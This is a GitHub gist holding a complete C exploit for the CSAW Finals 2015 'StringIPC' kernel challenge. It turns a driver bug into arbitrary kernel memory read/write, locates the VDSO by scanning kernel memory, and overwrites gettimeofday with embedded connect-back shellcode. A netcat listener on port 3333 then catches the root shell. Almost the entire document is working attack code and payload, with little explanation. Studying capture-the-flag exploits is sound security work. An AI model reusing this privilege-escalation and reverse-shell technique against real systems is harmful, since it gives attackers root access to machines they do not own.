Create a gist now

Instantly share code, notes, and snippets.

@itsZN /final.c Secret
Created Nov 16, 2015

CSAW Finals 2015 StringIPC exploit using VDSO overwrite
#include <sys/ioctl.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct open_channel_args {
int id;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct close_channel_args {
int id;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
int ID = 0;
int FD = 0;
void readMem(void* ptr, void* addr, size_t count) {
struct seek_channel_args seekArgs;
seekArgs.id = ID;
seekArgs.index = addr-0x10;
seekArgs.whence = SEEK_SET;
int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs);
int err = errno;
//fprintf(stderr,"Seek: %x err:%u\n",ret,err);
struct read_channel_args readArgs;
readArgs.id = ID;
readArgs.buf = ptr;
readArgs.count = count;
ret = ioctl(FD, CSAW_READ_CHANNEL, &readArgs);
err = errno;
//fprintf(stderr,"read: %x err:%u\n",ret,err);
}
void writeMem(void* ptr, void* addr, size_t count) {
struct seek_channel_args seekArgs;
seekArgs.id = ID;
seekArgs.index = addr-0x10;
seekArgs.whence = SEEK_SET;
int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs);
int err = errno;
//fprintf(stderr,"Seek: %x err:%u\n",ret,err);
struct write_channel_args writeArgs;
writeArgs.id = ID;
writeArgs.buf = ptr;
writeArgs.count = count;
ret = ioctl(FD, CSAW_WRITE_CHANNEL, &writeArgs);
err = errno;
//fprintf(stderr,"write: %x err:%u\n",ret,err);
}
int main() {
int fd = open("/dev/csaw",O_NONBLOCK);
FD = fd;
struct alloc_channel_args arg1;
arg1.buf_size=100;
int ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&arg1);
fprintf(stderr,"allocate fd: %d ret: %d id:%u\n",fd,ret,arg1.id);
ID = arg1.id;
struct shrink_channel_args shrinkArgs;
shrinkArgs.id = arg1.id;
shrinkArgs.size=101;
ret = ioctl(fd, CSAW_SHRINK_CHANNEL, &shrinkArgs);
int err = errno;
fprintf(stderr,"Shrink: %d err:%u\n",ret,err);
fprintf(stderr,"ZERO_SIZED_POINTER = %p\n",((void*)16));
//Random buffer to throw things into
char* what = malloc(0x1000*0x1000);
//Root only connect back shellcode
char * sc = "\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05";
//Scanning for elf headers to find VDSO
void* header = 0;
void* loc = 0xffffffff80000000;
size_t i = 0;
for (; loc<0xffffffffffffafff; loc+=0x1000) {
readMem(&header,loc,8);
if (header==0x010102464c457f) {
fprintf(stderr,"%p elf\n",loc);
readMem(&header,loc+0x270,8);
//Look for 'clock_ge' signature (may not be at this offset, but happened to be)
if (header==0x65675f6b636f6c63) {
fprintf(stderr,"%p found it?\n",loc);
break;
}
}
}
//Write our shellcode over the gettimeofday function at offset 0xca0
writeMem(sc,loc+0xca0,strlen(sc));
//Wait a bit for a daemon or logger to call gettimeofday()
system("nc -l -p 3333 -v");
exit(1);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment